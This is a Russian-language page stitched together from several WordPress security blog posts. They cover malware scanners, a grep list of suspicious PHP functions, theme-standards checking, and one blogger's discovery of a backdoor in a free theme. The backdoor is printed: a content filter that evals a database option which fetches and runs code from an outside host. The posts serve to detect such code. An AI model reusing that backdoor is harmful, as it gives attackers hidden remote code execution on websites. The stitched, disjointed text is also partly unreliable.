Проверить шаблон на вредоносный код. Как изменить WordPress шаблон под себя: проверка верстки шаблона правилам SEO

Проверить шаблон на вредоносный код. Как изменить WordPress шаблон под себя: проверка верстки шаблона правилам SEO
Проверить шаблон на вредоносный код. Как изменить WordPress шаблон под себя: проверка верстки шаблона правилам SEO

WordPress - это самый популярный движок для создания различных информационных сайтов и блогов. Безопасность вашего сайта - это больше чем безопасность ваших данных. Это намного важнее, потому что это и безопасность всех пользователей, которые читают ваш ресурс и доверяют ему. Вот почему так важно чтобы сайт не был заражен вирусами или любым другим вредоносным кодом.

Как защитить WordPress от взлома мы рассмотрим в одной из следующих статей, а сейчас я хочу рассказать как проверить сайт WordPress на вирусы и вредоносный код, чтобы убедиться что все в безопасности.

Самый первый вариант, который приходит на ум - вас взломали хакеры и встроили в код вашего сайта свои бэкдоры, чтобы иметь возможность рассылать спам, ставить ссылки и другие плохие вещи. Так иногда случается, но это довольно редкий случай если вы вовремя обновляете программное обеспечение.

Существуют тысячи бесплатных тем для WordPress и различных плагинах и уже здесь может крыться угроза. Одно дело, когда вы скачиваете шаблон с сайта WordPress и совсем другое, когда находите на левом сайте. Недобросовестные разработчики могут встраивать различный вредоносный код в свои продукты. Еще больше риск, если вы скачиваете бесплатно премиум шаблоны, там взломщики уже ничем не рискуя могут добавить какую-нибудь дыру в безопасности, через которую потом смогут проникнуть и сделать то, что им нужно. Вот поэтому так важна проверка wordpress сайта на вирусы.

Проверка wordpress сайта на вирусы

Первое к чему нужно обратиться при проверке сайта не вирусы, это плагины WordPress. Быстро и просто вы можете сканировать свой сайт и найти подозрительные участки кода, на которые стоит обратить внимание, будь они в теме, плагине и самом ядре Wodpress. Рассмотрим несколько самых популярных плагинов:

1. TOC

Этот очень простой плагин проверяет все установленные на вашем сайте темы на предмет наличия в них вредоносного кода. Плагин выявляет скрытые ссылки, зашифрованные с помощью base64 вставки кода, а также выводит подробную информацию о найденных проблемах. Чаще всего, найденные части кода - это не вирусы, но они потенциально могут быть опасны, поэтому вам стоит обратить на них внимание.

Откройте "Внешний вид" -> "TAC" затем дождитесь пока все темы будут проверены.

2. VIP Scanner

Очень похожий на TOC сканер для тем, но выводит больше подробной информации. Те же самые возможности по обнаружению ссылок, скрытого кода и других вредоносных вставок. Просто откройте пункт VIP Scaner в разделе инструменты и анализируйте результат.

Возможно, достаточно удалить лишние файлы, например, desktop.ini. Или же нужно более подробно посмотреть что происходит в файлах использующих base64.

3. Anti-Malware from GOTMLS.NET

Этот плагин позволяет не только сканировать темы и ядро сайта на наличие вирусов, но и защищать сайт от перебора паролей и различных XSS, SQLInj атак. Поиск выполняется на основе известных сигнатур и уязвимостей. Некоторые уязвимости можно на месте устранять. Чтобы начать сканировать файлы откройте "Anti-Malvare" в боковом меню и нажмите "Run Scan" :

Перед тем как вы сможете запустить сканирование, нужно обновить базы данных сигнатур.

4. Wordfence

Это один из самых популярных плагинов для защиты WordPress и сканирования на наличие вредоносного кода. Кроме сканера, который может найти большинство закладок в коде WordPress, здесь есть постоянная защита от различных видов атак и перебора паролей. Во время поиска плагин находит возможные проблемы с различными плагинами и темами, сообщает о необходимости выполнить обновление WordPress.

Откройте вкладку "WPDefence" в боковом меню, а затем перейдите на вкладку "Scan" и нажмите "Start Scan" :

Сканирование может занять определенное время, но по завершении вы увидите подробный отчет об обнаруженных проблемах.

5. AntiVirus

Это еще один простой плагин, который просканирует ваш шаблон сайта на наличие вредоносного кода. Недостаток в том, что сканируется только текущий шаблон, но информация выводится достаточно подробно. Вы увидите все опасные функции, которые есть в теме и затем можете детально проанализировать представляют ли они какую-либо опасность. Найдите пункт "AntiVirus" в настройках, а затем нажмите "Scan the theme templates now":

6. Integrity Checker

Также желательно проверить целостность файлов WordPress, на случай, если вирус уже записался уже куда-нибудь. Для этого можно использовать плагин Integrity Checker. Он проверяет все файлы ядра, плагинов и шаблонов на изменения. В конце сканирования вы увидите информацию об измененных файлах.

Онлайн сервисы

Существует также несколько онлайн-сервисов, которые позволяют проверить сайт wordpress на вирусы или проверить только шаблон. Вот некоторые из них:

themecheck.org - вы загружаете архив темы и можете смотреть все предупреждения о возможных вредоносных функциях, которые в ней используются. Вы можете не только смотреть информацию о своей теме, но и о других темах, загруженных другими пользователями, а также о разных версиях темы. Все что находят плагины, может найти и этот сайт. Проверка wordpress темы тоже очень важна.

virustotal.com - всем известный ресурс, где вы можете проверить свой сайт или файл шаблона на вирусы.

ReScan.pro - проверка WordPress сайта на вирусы с помощью этого сервиса бесплатна, выполняется статический и динамический анализ, чтобы обнаружить возможные редиректы сканер открывает страницы сайта. Проверяет сайт по различным черным спискам.

sitecheck.sucuri.net - простой сервис для сканирования сайта и тем на вирусы. Есть свой плагин для WordPress. Обнаруживает опасные ссылки и скрипты.

Ручная проверка

Ничего не может быть лучше чем ручная проверка. В Linux есть такая замечательная утилита grep, которая позволяет искать вхождения произвольных строк в папке с файлами. Осталось понять что мы будем искать:

eval - эта функция позволяет выполнять произвольный php код, ее не используют уважающие себя продукты, если один из плагинов или тема используют эту функцию почти со стопроцентной вероятностью можно сказать, что там есть вирус;

  • base64_decode - функции шифрования могут использоваться вместе с eval, чтобы спрятать вредоносный код, но они могут применяться и в мирных целях, так что будьте внимательны;
  • sha1 - еще один метод шифрования вредоносного кода;
  • gzinflate - функция сжатия, те же цели, вместе с eval, например, gzinflate(base64_decode(код);
  • strrev - переворачивает строку задом не перед, как вариант может использоваться для примитивного шифрования;
  • print - выводит информацию в браузер, вместе с gzinflate или base64_decode опасно;
  • file_put_contents - сам WordPress или плагины еще могут создавать файлы в файловой системе, но если это делает тема, то уже стоит насторожиться и проверить зачем ей это, так могут устанавливаться вирусы;
  • file_get_contents - в большинстве случаев используется в мирных целях, но может использоваться для загрузки вредоносного кода или чтения информации из файлов;
  • curl - та же история;
  • fopen - открывает файл для записи, мало ли для чего;
  • system - функция выполняет команду в системе Linux, если это делает тема, плагин или сам wordpress, скорее всего, там вирус;
  • symlink - создает символические ссылки в системе, возможно, вирус пытается сделать основную файловую систему доступной из вне;
  • copy - копирует файл с одного места в другое;
  • getcwd - возвращает имя текущего рабочего каталога;
  • cwd - изменяет текущую рабочую папку;
  • ini_get - получает информацию о настройках PHP, чаще в мирных целях, но мало ли;
  • error_reporting(0) - отключает вывод любых сообщений об ошибках;
  • window.top.location.href - javascript функция, используемая для редиректов на другие страницы;
  • hacked - так, на всякий случай, проверяем, вдруг, хакер сам нам решил рассказать.

Вы можете подставлять каждое отдельное слово в такую команду:

grep -R "hacked" /var/www/путь/к/файлам/wordpress/wp-content/

Или же использовать простой скрипт, который будет искать все слова за раз:

values="base64_decode(
eval(base64_decode
gzinflate(base64_decode(
getcwd();
strrev(
chr(ord(
cwd
ini_get
window.top.location.href
copy(
eval(
system(
symlink(
error_reporting(0)
print
file_get_contents(
file_put_contents(
fopen(
hacked"

cd /var/www/путь/к/файлам/wordpress/wp-content/
$ fgrep -nr --include \*.php "$values" *

Здравствуйте, уважаемые читатели блога сайт. Сейчас уже мало найдется вебмастеров, которые верстают свой сайт сами (на чистом Html, своем движке или хотя бы используют для CMS созданные своими руками шаблоны). В общем-то это верно, ибо не каждый способен сотворить что-то стоящее — тут нужен талант дизайнера. Чаще всего выходит как минимум «не очень», а иногда и «просто ужас».

Поэтому столь большое распространение получили шаблоны или темы оформления (в разных движках «шкурки» могут обозначаться разными терминами) для популярных CMS. Особливо много этого добра можно найти на просторах интернете для Joomla и WordPress, ибо это по праву , как в рунете, так и в буржунете.

Собственно, только русскоязычных ресурсов с каталогами готовых шаблонов можно насчитать уже довольно много. Ну, а в буржунете их вообще не счесть. Вроде бы все так замечательно — ставь движок, находи подходящий шаблон (не секрет, что платные шаблоны не так уж и сложно найти в бесплатном доступе), скачивай его и наслаждайся профессиональным дизайном своего новенького сайта. Останется только добавить на него ценный контент и можно будет наблюдать за ростом популярности в сети вашего ресурса.

Но не все так просто и очевидно. Когда я еще давным-давно написал статью , то получал довольно регулярно от читателей по почте рекомендации удалить из списка тот или иной сервис, ибо в размещенных там шаблонах находят скрытые ссылки или даже вирусы . Получается, что пословица не врет — бесплатный сыр бывает только в мышеловке. Разработчики бесплатных шаблонов (или те, кто «нулит» платные) просто-напросто таким образом зарабатывают деньги и, судя по размаху, немалые.

Скрытые ссылки на сторонние (и зачастую занесенные поисковиками в черный список) ресурсы, а уж тем более вирусы, могут убить все надежды на раскрутку вашего ресурса (или серьезно их подорвать и попортить нервы). За это можно , либо . Как себя от всего этого уберечь при выборе шаблона?

Что плохого в бесплатных шаблонах для Joomla и WordPress?

По собственному опыту могу сказать, что «любителю» очень трудно тягаться с «профессионалом». В самом начале этой публикации я приводил ссылку на статью про вирусы, которыми были заражены большинство моих сайтов. Произошло это более двух лет назад, и за это время я уже не раз повторял эпопею борьбы за «чистоту кода», но по-прежнему с завидной регулярностью на ряде зараженных ресурсов происходят рецидивы (то спам-рассылка с них ведется, то дорвей формируется, то еще что-то мне совсем непонятное происходит, приводящее к чудовищно большой нагрузке на хостинг).

При этом я использую все доступные «нубу» методы поиска шелов и прочих бэкдоров в коде этих сайтов, но опять же повторюсь, что любителю тягаться с профи просто не под силу. Поэтому если вы думаете, что прокравшийся через шаблон вирус вы легко выведете, то, скорее всего, вы ошибаетесь. Дело это очень муторное, жутко раздражающее (когда вирусная активность, несмотря на все ваши предпринятые усилия, проявляется снова и снова) и отнимающее очень много времени и сил.

То же самое касается и скрытых ссылок . Хорошо, если вам попадется вариант их внедрения из прошлой эпохи, когда простым можно будет найти место вставки и навсегда избавиться от них, получив в итоге чистый и бесплатный шаблон. В большинстве же случаев все намного сложнее. Для поиска места вставки скрытых ссылок понадобится софт (например, плагин TAC), но и он не всесилен, ибо бизнес по распространению ссылок через бесплатные и платные (взломанные) шаблоны для Joomla и WordPress приносит очень хороший доход, что стимулирует практикующих его людей к поиску новых решений, позволяющих сделать их «закладку» мало заметной.

Собственно, сегодня даже оперативно проверить шаблон на генерирование «левых ссылок» бывает довольно сложно. Например, вы скачали шаблон, поставили его на сайт, добавили контент и решили посмотреть, а не появились ли с него какие-то подозрительные (не вами проставленные) внешние ссылки. Их нет. Вы довольны, забываете об этой проблеме, занимаетесь наполнением сайта и его раскруткой, а потом вдруг случайно обнаруживаете (сами или после сигнала от поисковиков в виде фильтра или бана), что скрытые ссылки все же есть и ведут они на такую «гадость», на которую вам самим никогда бы и в голову не пришло ссылаться.

Самое обидное при этом, что на снятие фильтра и «обеление» сайта в глазах поисковиков может уйти очень много времени (месяцы и даже годы в некоторых случаях). А дело тут в том, что разработчики таких «закладок» в курсе того, что вы про них знаете и проверяете сайт после установки шаблона на предмет «излишеств всяких нехороших». Поэтому они тормозят начало генерации этих самых ссылок на некоторое время, достаточное по их мнению, чтобы даже самый мнительный юзер уверовал в чистоту доставшегося ему на халяву шаблона.

Причем скрытые ссылки теперь так закодированы, что не ищутся по словам md5 или base64 (зачастую их подгрузка вообще происходит с внешнего источника). Просто набор букв и спец символов, которые никак нельзя найти через поиск по всем файлам шаблона. А этих файлов может быть не одна сотня. Плюс появляются ссылки не сразу. То есть фактически нельзя никак вебмастеру (среднестатистическому) их обнаружить на этапе создания сайта.

Ну, а во избежании заражения через шаблон я предпочитаю заплатить денежку , чтобы потом не разгребать ворох проблем. Другое дело, что денежку можно заплатить большую, а можно и не очень большую. Я лично выбираю второй вариант, но сначала поясню суть первого.

Кое-что, конечно же, можно найти и в официальных репозиториях этих движков (читайте про то, и зайти на официальный сайт расширений для Joomla), но, во-первых, выбор там существенно ограничен, а во-вторых, в такие же «одежки» будут одеты еще многие тысячи сайтов по всему миру, что несколько снижает уникальность вашего проекта и в глазах посетителей, и в глазах поисковиков.

Однако, в мире существует очень много профессиональных компаний, занимающихся разработкой платных шаблонов для Joomla и WordPress. Априори (), у них закладок быть не должно, иначе они мгновенно растеряют авторитет и доверие клиентов. Однако, цена на один шаблон у них может составлять 50-100 долларов в зависимости от его функционала и новизны.

Кроме этого могут возникнуть некоторые проблемы с оплатой (придется , либо рискнуть и совершить покупку с оплатой напрямую с пластиковой карты). Однако, в результате вы получите заведомо «чистый» шаблон, что есть хорошо. Правда, идущая с ним в нагрузку техподдежка будет актуальна лишь при вашем знании языка, на котором она осуществляется. В большинстве случае знание русского языка вам в этом деле не поможет.

Второй вариант мне больше нравится в силу его более высокой рентабельности (соотношении потраченных денег к полученным возможностям), хотя по отношению к разработчикам он и не совсем «белый». Суть его заключается в том, что Joomla и WordPress распространяются по лицензии типа GNU/GPL , т.е. лицензии на свободное программное обеспечение (такое ПО можно использовать, копировать, модифицировать и распространять). Собственно, об этом я уже писал и раньше в упомянутой в самом начале статье о шаблонах Joomla.

Если не вдаваться особо в подробности, то суть заключается в том, что и расширения (шаблоны, плагины и т.п.) для этих движков не могут являться частной собственностью авторов. Да, за них можно требовать плату, но вот наказать или преследовать по закону за несанкционированное использование или распространение этих расширений уже будет невозможно. Несмотря на это, рынок платных расширений для Joomla и WordPress огромен, хотя и не защищен законом об авторском праве . Наоборот, GNU/GPL лицензия на 100% защищает Вас от разработчика.

Многие компании разработчиков, кстати, предоставляют доступ к своим шаблона по подписке. Т.е. вы платите определенную сумму и в течении определенного времени может скачивать и дальше на постоянной основе использовать все их творения (шаблоны или расширения). Собственно, и второй способ безопасного получения тем оформления для WordPress, а также шаблонов для Joomla строится на примерно таком же принципе.

«Показал мне на него пальцем» не так давно мой товарищ, которого я упоминал в ряде статей (он уже несколько лет ищет идеальный вариант построения интернет-магазина, и на этом пути находит много такого, что мне кажется интересным и в дальнейшем активно используется). Речь идет о складчине премиум шаблонов и расширений CmsHeaven.org .

Суть складчины довольно простая — купить продукт и раздать всем, кто участвовал в складчине. В CmsHeaven.org еще больше упростили схему — тут не нужно скидываться на отдельные шаблоны или расширения, которые вам нужны. Вы просто оплачиваете временный доступ ко всему каталогу, который имеется в распоряжении этого сервиса (несколько тысяч наименований, разбитых для удобства поиска по движкам, авторам и тематикам).

Каждый из представленных продуктов был честно куплен у разработчиков на деньги складчиков (имеются и бесплатные шаблоны, но они опять же представлены известными брендами, которые им нужны в целях рекламы). И что немаловажно, организаторы постоянно пополняют каталог новыми экземплярами (с пылу с жару, что называется), которые еще долго придется ждать в паблике. Многим это придется по душе.

В общем, такой вот кооператив, куда можно вступить и пользоваться всеми благами. Но с некоторыми ограничениями. Дело в том, что организаторы хорошо понимают, что без введения ограничений весь их каталог утечет в паблик на раз-два. Поэтому имеет место быть ограничение на 36 скачиваний в месяц . Этого вполне достаточно обычному вебмастеру, и даже компании по созданию сайтов.

При этом гарантируется отсутствие в представленных расширениях и шаблонах «закладок» (скрытых ссылок, вирусов, троянов и «стучалок», которые сообщают разработчику о сайте использующем их шаблон). В виду этого покупаются только продукты известных брендов с открытым кодом, где можно все это проверить и при необходимости устранить.

Часть расширений переведена на русский язык, а при возникновении проблем с установкой или настройкой, что зачастую бывает ой как необходимо (наверное уже не раз прочесывали интернет в поисках решения возникшей на ровном месте проблемы). Этим, кстати, и отличают бесплатные движки от платных, что нет поддержки пользователей как таковой.

Да и скачивать понравившиеся вам продукты можно будет с нормальной скоростью и без просмотра рекламы на файлообменниках. Пустячок, ибо для получения вожделенной «няшки» можно и горы свернуть, а не только с файлообменником повоевать, но именно из пустяков складывается комфорт.

Вообще идея и ее реализация мне очень понравились, а вот пользоваться ли бесплатными шаблонами из репозиториев Joomla и WordPress, вступать ли в складчину на CmsHeaven.org или покупать шаблоны напрямую у разработчиков решать придется вам самим . Только «умоляю вас, не ешьте на ночь сырых помидоров», то бишь не скачивайте халявные продукты со всяких «замечательных» ресурсов, ибо можно массу проблем получить в нагрузку. А оно вам надо?

Удачи вам! До скорых встреч на страницах блога сайт

Вам может быть интересно

Как вставить код счетчиков посещений на сайт под управлением Joomla через модуль Произвольный HTML-код или напрямую в шаблон
Как самому создать профессиональный сайт-визитку без знаний Html, CSS и PHP? Ответ: MotoCMS!
Как получить адаптивный шаблон для будущего сайта, а с ним интуитивно понятную и шуструю CMS в придачу
10 смертельных ошибок при написании и публикации статей
Создание пункта меню в Joomla для входа на форум и перенос регистрации пользователей из SMF на сайт
Настройка JFusion для для объединения форума SMF и Джумла-сайта
Модули JFusion для вывода сообщений с форума на сайте, а так же создание кнопки в SMF для возврата в Джумлу WebPoint PRO - адаптивная тема для WordPress с широким функционалом и грамотной технической поисковой оптимизацией
Share42 - скрипт для добавления на сайт кнопок социальных сетей и закладок (есть вариант плавающей панели)
Установка форума SMF - Интеграция Joomla 1.5 и Simple Machines Forum с помощью компонента JFusion

Один из важнейших этапов при создании блога – выбор качественного шаблона. Существует много сайтов, как платно, так и бесплатно. Однако здесь надо соблюдать осторожность, так как велика вероятность вместе с файлом получить вирусы, вредоносные скрипты и скрытые ссылки.

Но даже, если шаблон чист в плане безопасности, а его дизайн, юзабилити и функционал вас полностью устраивают – это не значит, что все в порядке. Тема должна иметь валидный HTML и CSS код, а также соответствовать всем стандартам CMS WordPress. С последним есть проблемы даже у платных тем и шаблонов, сделанных на заказ.

Разработчики движка постоянно развивают его, а авторы шаблонов не всегда поспевают за ними, используя устаревшие функции при их создании.

Сегодня я покажу 2 способа проверки тем WordPress на соответствие стандартам. Эти инструменты используются при их добавлении в официальный каталог https://wordpress.org/themes/

Сервис проверки тем WordPress и шаблонов Joomla на соответствие стандартам

ThemeCheck.org – это бесплатный сервис, который позволяет проверить безопасность и качество шаблонов для CMS WordPress и Joomla перед установкой на сайт.

Для проверки темы, загрузите ее архив с вашего компьютера, нажав кнопку “Select file ” на сайте themecheck.org . Если не хотите, чтобы результаты проверки сохранялись на сервисе и были доступны другим пользователям, установите галочку “Forget uploaded data after results “. Теперь жмите кнопку “Submit “.

Для примера я взял тему Interface , которую скачал на официальном сайте. 99 из 100 – 0 критических ошибок и 1 предупреждение. Это очень хороший результат.

Для сравнения, шаблон моего блога получил оценку 0 (14 ошибок и 23 предупреждения). Думаю, что у многих результаты не особо будут отличаться, особенно если темы уже устарели. Все замечания с пояснениями, указанием файлов и строк, где они обнаружены, расположены на этой же странице ниже.

Признаться, я там мало что понял, это скорее будет полезно для авторов, а мне проще сменить шаблон, чем все исправлять. Не знаю только, когда я решусь на это.

На Главной есть большой выбор ранее проверенных веб-тем WordPress и Joomla с возможностью сортировки по времени добавления или оценке. При клике по ним можно увидеть подробную информацию и ссылки на сайт автора и страницу для скачивания.

Если вы разработчик и ваша тема валидна на 100%, можете сообщить об этом пользователям, установив на ней специальный значок с оценкой.

Ценность сервиса ThemeCheck.org в том, что любой вебмастер может с его помощью выбрать качественную тему еще до ее установки на блог.

Плагин Theme Check

Проверить уже установленный шаблон на совместимость с последними стандартами Вордпресс, можно с помощью плагина Theme Check . Ссылка на скачивание последней версии: https://wordpress.org/plugins/theme-check/

Функционал плагина аналогичен сервису, о котором я рассказал выше. Никаких настроек после стандартной установки и активации производить не надо. Порядок проверки:

  1. Перейдите в админке на страницу меню “Внешний вид ” – “Theme Check “.
  2. Выберите из выпадающего списка нужную тему, если их установлено несколько.
  3. Установите галочку “Suppress INFO “, если не хотите отправлять информацию.
  4. Нажмите кнопку “Check it “.

Результаты будут показаны на этой же странице.

Как видите, стандартная тема Twenty Ten тоже не идеальна, а вот, например, Twenty Fourteen ошибок не имеет.

После проверки плагин можно отключить, а лучше вообще удалить до следующего раза.

Вывод. Перед установкой нового шаблона WordPress проверяйте его не только на наличие скрытых ссылок и вредоносного кода плагином TAC, но и с помощью сервиса ThemeCheck.org или плагина Theme Check на соответствие последним стандартам CMS.

P.S. Недавно просматривая TopSape Reader, увидел новый SEO-блог zenpr.ru , который держит 1 место среди блоггеров по переходам за месяц. Если учесть, что его возраст чуть более месяца, то результат достоин уважения. Дизайн в стиле минимализма, если не сказать, что его вообще нет, но пишет автор – зачитаешься. Все по делу и без воды. Точно как в заголовке блога – «ноль лишних символов». Рекомендую почитать, найдете много полезной информации.

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию


return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

Привет, друзья IdeaFox!

Не знаю, как вы, а я вот плохо по ночам сплю. Мучают меня вопросы безопасности блога. Сил уже нет никаких: –)

Перечитал кучу блогов на эту тему и протестировал много плагинов, которые помогают решить эту проблему. Да и в комментариях стали задавать вопросы по теме защиты сайта, что и подтолкнуло меня написать эту заметку.

Вот представьте себе, что Вы ведете блог, пишите статьи, стараетесь… И приходят злые мудаки, которые ломают ваш сайт. Думаю, что огорчений будет очень и очень много.

Ведь каждый нормальный блоггер вкладывает очень много времени и сил в развитие своего сайта. А для многих блоггинг вообще становится навязчивой идеей… Тут и до , если ТАКОЕ случится: –)

Ну, вы поняли, насколько это важно.

Перейдем к делу, наконец:)

Пару месяцев назад я уже писал заметку про то, от взлома. Обязательно прочтите ее. Но с тех пор прошло довольно много времени и я принял дополнительные меры по усилению круговой обороны.

В следующих заметках я обязательно подробно остановлюсь на этом вопросе. (Про настройку ISP тоже помню и пишу)

3. Проверяем сайт на других онлайн-сервисах

Таких сервисов развелось видимо-невидимо. У меня сложилось стойкое мнение, что многие из них совершенно бестолковые и созданы исключительно для показа рекламы.

Доктор Веб

Компания DR.Web cделала хороший сервис для проверки сайтов он-лайн. Лично мне он помог один раз найти заразу у друга на блоге (Был сторонний код в файле.htaccess)

Проверка очень простая. Вносим свой URL и ждем результат проверки.

antivirus-alarm.ru

Мощный сканер сайтов, который использует аж 43 антивирусные базы от ведущих антивирусных компаний мира.

Тут тоже все очень просто. Вбиваем URL своего сайта и с замиранием сердца ждем результатов сканирования.

Вот я дождался таких.

Все чисто, можно спать спокойно: –)

Все это конечно хорошо, но нужно еще и установить пару плагинов, которые совсем не помешают для WordPress-блогов.

4. Попросите хостера проверить Ваш сайт

Дело в том, что хостеры еще больше вас обеспокоены вопросами безопасности и располагают мощными средствами защиты. Причем специализированными средствами защиты.

Вот такие у меня новости для Вас сегодня. Дальше я расскажу про очень мощный плагин, который позволяет существенно защитить ваш ВордПресс блог от взлома.

Я уже работаю с ним 2 месяца и очень им доволен. Пока разобрался с ним 3 раза сам себя забанил: –) Короче, есть что рассказать.